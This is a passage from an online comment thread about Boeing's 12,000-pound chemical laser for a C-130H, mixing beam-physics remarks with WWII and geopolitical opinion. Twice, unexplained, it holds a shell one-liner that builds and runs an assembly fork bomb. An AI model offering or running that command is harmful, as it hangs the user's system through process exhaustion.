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Boeing 12,000lb Chemical Laser Set to Fry Targets
coondoggie writes "Boeing this week completed work on and installed a 12,000-pound chemical laser in a C-130H aircraft. Boeing's Advanced Tactical Laser (ATL) which is being developed for the Department of Defense, will destroy, damage or disable targets with little to no collateral damage, supporting missions on the battlefield and in urban operations."
No mirror reflects 100% of what hits it. Even if it only absorbs 0.1% of the beam, with this much energy the mirror will quickly deform or burn and its reflectivity will drop.
Furthermore, the output beam is infrared, which your average mirror or shiny metal isn't going to reflect. The other problem with shiny surfaces: how do you keep them shiny for long periods of time?
Personally I would have threatened to bomb Swedish ball bearing factories too, if they continued to sell to the Nazis.
And it's very noticable that bombing gradually crippled the german war economy despite the targetting being wrong. When you read about the development of V2s for example, it's quite clear that the German economy at the end of the war was chronically short of everything, mainly because of bombed out factories and railways. Same with all of the Nazi weapons work near the end of the war.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
But if a photon has more than a few MeV of energy it can split to an electron-positron pair which can brem, throwing off more photons which will split etc etc. Until the individual bits run out of the energy needed to form more particles. In other words, EM showering. However this requires VERY high energy photons (gamma rays). My understanding was that a laser like this achieves it's power by using lots of photons (in the IR range), so it won't have a problem with Bremsstrahlung at all. Thermal blooming on the other hand is probably a bigger issue. As the laser heats the air, it causes the water vapor to convect which acts as a lens and defocuses the beam.
Japan is a tougher target than most people realise. They have 40-100 tonnes of plutonium and a vast industial base. If the US abandoned them, they could build enough nukes to level China quite quickly.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm secured by the fact that we have a tough allay in America. Although, I do believe that much of the hostility towards Israel today (not 50 years ago) is because of our close ties to the US. Were those ties to be severed, we would be more vulnerable, but we would be less threatened. Real, God-fearing Muslims (not extremists) are opposed, more than anything else, to the invasion of American culture. Israel is a vehicle for that invasion. Real, God-fearing Muslims (not extremists) want to protect their children from exposure to drugs, prostitutes, and all else that is hallmark of American media. And believe it or not, most of Palestine, Jordan, and Egypt is of the real, God-fearing Muslims that I describe. Syria and the Muslim Lebanese are a different story, however.
It is dangerous to be right when the government is wrong.
My mom works for one of the divisions of Boeing that makes lasers like this. I don't know if they make this one, because she can't really talk about it. But I do know a little about the capabilities and accuracy of some of the systems, you know, "hypothetically, if they had something like that, what could it do?" Let's just say that one of the test systems was a servo that could keep a laser spot painted on a ping pong ball while people were playing.
- None can love freedom heartily, but good men; the rest love not freedom, but license. -- John Milton
There's a minor technical problem with marching that army from China to Taiwan or Japan...
China's navy is probably a match for Taiwan's; Japan's is clearly superior, and the US Navy is on a whole other scale.